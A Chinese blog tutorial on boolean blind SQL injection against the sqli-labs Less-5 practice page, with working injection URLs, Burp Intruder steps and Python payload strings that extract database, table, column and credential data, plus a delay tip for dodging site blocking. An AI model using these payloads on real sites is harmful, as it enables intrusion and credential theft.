布尔盲注原理及具体操作

布尔盲注

  1. 布尔盲注:在原有正常的查询条件之后,再附加一个我们注入的查询条件,然后通过页面是否正常显示,从而来推测条件是否成立

  2. 布尔盲注常用函数:substr():截取字符串中的指定字符 :substr(obj,start,length)

  3. 注意:在sql中执行函数也要用select语句,如: select('python',1,3) select substr(database(),1,1)

  4. 用length函数判断数据库长度:http://192.168.2.102/sql/Less-5/?id=1' and length(database())=8 --+

  5. 再用substr()和ascii()2个函数,逐一对数据库里的字段进行判断:http://192.168.2.102/sql/Less-5/?id=1' and ascii(substr(database(),1,1))>90 --+

  6. 注意:判断长度可以用2分法,但判断字段的话,太复杂了,有2种方法,一种是用burpsuit,还有一种就是自己写破解脚本,先介绍bp破解:

  7. 先用bp抓取参数的页面:http://192.168.2.102/sql/Less-5/?id=1' and ascii(substr(database(),1,1))=90 --+,抓取后发送到intruder(暴力破解模块),然后将90作为参数,以下是针对性的进行设置:

  8. image-20260411072602182
  9. 设置线程,默认10即可:

  10. image-20260411072713340
  11. 最后再设置grep匹配项,筛选项:

  12. image-20260411072827478
  13. 最后,点击:

  14. image-20260411072913142
  15. 从下可以找出匹配的ascii数值:

  16. image-20260411073050872

编写盲注脚本分析:

  1. 要用到python的requests模块来编写脚本。(什么叫python的模块?模块包含了很多类),这里要先判断数据库有多长,直接在url页面输出:http://192.168.2.102/sql/Less-5/?id=1' and length(database())=8 --+,这里=8成立,说明数据库长度是8,为后续的爆破作准备。
  2. 注意:在url测试是用--+;在requests模块里是用#,很容易弄混!
  3. 爆破数据库名:利用python的requests模块具体方法(先进入python界面):
    1. import requests(导入模块)
    2. url="http://192.168.2.102/sql/Less-5/"
    3. params={"id":1} 定义变量
    4. result=requests.get(url,params)给网站发送get请求,并生成一个result对象
    5. payload="1' and 1=1 #",params={"id":payload} 构造测试payload,并且将其代入到params
    6. payload = f"1' and ascii(substr(database(),{j},1))={i}#" 构造爆破的payload,整体代码如下
    7. image-20260413060621511
    8. 注意,由于要传i,j参数,所以payload要格式化,前面加f
    9. 优化代码,加一个break,达到条件之后,跳出循环,节省资源和时间,确定数据库名为:security
  4. 爆破数据库表名:同样,先确定security数据库下的group_concat集中输出的表名长度,为后续爆破作准备(这里直接在url中用2分法判断):http://192.168.2.102/sql/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>10 --+,这里猜出长度是29
    1. 爆破数据表名:构造payload:
    2. f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))={j}#"
    3. image-20260413071234546
    4. 注意,range(1,30),长度为29,输出表名确定为users
  5. 爆破字段名:
    1. 同样,先确定表名为users下的group_concat集中输出的字段名长度,为后续爆破作准备(这里直接在url中用2分法判断):?id=1'and length((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'))=20 这个成立,可以确定字段名的长度是20
    2. 构造payload:
    3. f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),{i},1))={j}#"
    4. image-20260413145542670
    5. 这里 爆破出三个字段:id,username,password
  6. 最后爆破数据,使用二分法,效率提高十倍!(从字段username和password中):
  7. image-20260415101114970
  8. 打比赛的情况下,最好能导入time模块,import time,然后用sleep()方法: time.sleep(0.1)给它0.1秒的间隔,这样就不会触发网站拦截响应。
posted @ 2026-04-15 10:37  新余_阿飞  阅读(13)  评论(0)    收藏  举报